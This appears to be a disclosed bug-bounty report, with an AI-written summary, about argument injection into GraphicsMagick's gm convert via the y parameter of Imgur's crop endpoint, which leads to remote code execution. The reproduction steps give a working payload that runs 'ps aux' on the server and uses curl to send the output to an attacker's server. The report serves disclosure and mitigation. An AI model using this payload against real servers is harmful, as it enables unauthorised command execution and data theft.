RCE by command line argument injection to `gm convert` in `/edit/process?a=crop`
The y parameter of the /edit/process endpoint was passed to a shell command without escaping spaces, allowing an attacker to inject additional command-line arguments to GraphicsMagick's gm convert. By using the -write option with a pipe-prefixed filename, an attacker could execute arbitrary commands on the server.
- Triaged in 44 hours
- Fixed in 16 days
- Paid in 16 days
- Disclosed after 46 days
Summary
The y parameter of /edit/process endpoint (with a=crop) is vulnerable to command-line argument injection to something that appears to be GraphicsMagick utility (probably gm convert). Due to GraphicsMagick's hacker-friendly processing of |-starting filenames supplied to -write option, it leads to command execution.
Reproduction steps
-
Enable Burp Proxy or similar software that allows you to log and edit HTTP requests.
-
Login into your imgur account and upload an image.
-
Move your mouse over the image, click on the tiny button with pencil on it, then click "Edit".
-
Select a random rectangle on the image, then click "Apply".
-
In the burp suite, you will see a request to an URL like this:
http://<your-account>.imgur.com/edit/process?imageid=c9e1351c21542062f35a12130945210b&a=crop&x=0&y=0&w=700&h=746&random=4011802027746510Change the
yparameter of the request so it becomes0 -write |ps${IFS}aux|curl${IFS}http://<your-server>${IFS}-d${IFS}@-.The full URL after the change must look like
http://<your-account>.imgur.com/edit/process?imageid=c9e1351c21542062f35a12130945210b&a=crop&x=0&y=0%20-write%20|ps${IFS}aux|curl${IFS}http://<your-server>{IFS}-d${IFS}@-&w=700&h=830&random=9905392865702303, note that you have to change<your-server>to a webserver under your control). -
Fire a request to the modified URL. The command (
ps aux|curl http://<your-server> -d @-) will be executed somewhere inside imgur, and you will get a HTTP request to<your-server>with the result ofps auxin the POST body. You can replaceps auxwith another command (but you have to write${IFS}instead of spaces).
Detailed description
I was searching for CVE-2016-10033-like vulnerabilities on several bugbounty sites when I noticed strange behaviour of the mentioned parameter. The vulnerability exists because the user input (the contents of y GET parameter) goes into a shell command. While all special characters (like |, $ and so on) seem to be escaped, the space character is not. This allows the attacker to insert additinal command line arguments. The common reason for such behaviour is escapeshellcmd PHP function, but that can also be some kind of custom input filtering/processing.
The rest of the exploitation depends on the program that is executed (we need to find out if it supports any dangerous command-line options). Common sense suggests that the external command launched by "Crop/Resize" function must be some image processing tool. The most popular one is ImageMagick/GraphicsMagick, so I appended -rotate 90 to the parameter and it succeded --- I saw lying Trump (I mean, the image was rotated). After more tries I was sure it's GraphicsMagick (probably gm convert utility). I read the documentation and found that -write argument supports perl-style filenames starting with a pipe --- in this case the rest of the filename must be a command to execute.
Mitigation
Probably either some kind of custom processing or escapeshellcmd function is used to construct the command line. In both cases, replace it with applying escapeshellarg to individual arguments. In the second case, you probably want to run grep -R escapeshellcmd <path to the source code> to find more vulns :-)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application used escapeshellcmd (or similar) which escapes special characters but not spaces, allowing argument injection into the gm convert command.
Impact
An attacker could execute arbitrary commands on the server, leading to remote code execution.
What the attacker needed
An Imgur account; ability to upload an image; a server to receive data
The fix
The application should use escapeshellarg on each argument instead of escapeshellcmd.
How it was found
- Log in to Imgur and upload an image.
- Click the pencil button and select Edit.
- Draw a rectangle and click Apply.
- Capture the resulting /edit/process request in Burp.
- Modify the y parameter to include additional arguments.
- Send the request and receive command output on your server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you crop an image on Imgur, the site runs a command-line program. The y value you sent was not fully cleaned, so extra instructions could be slipped into that program, letting an attacker run commands on Imgur's servers.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.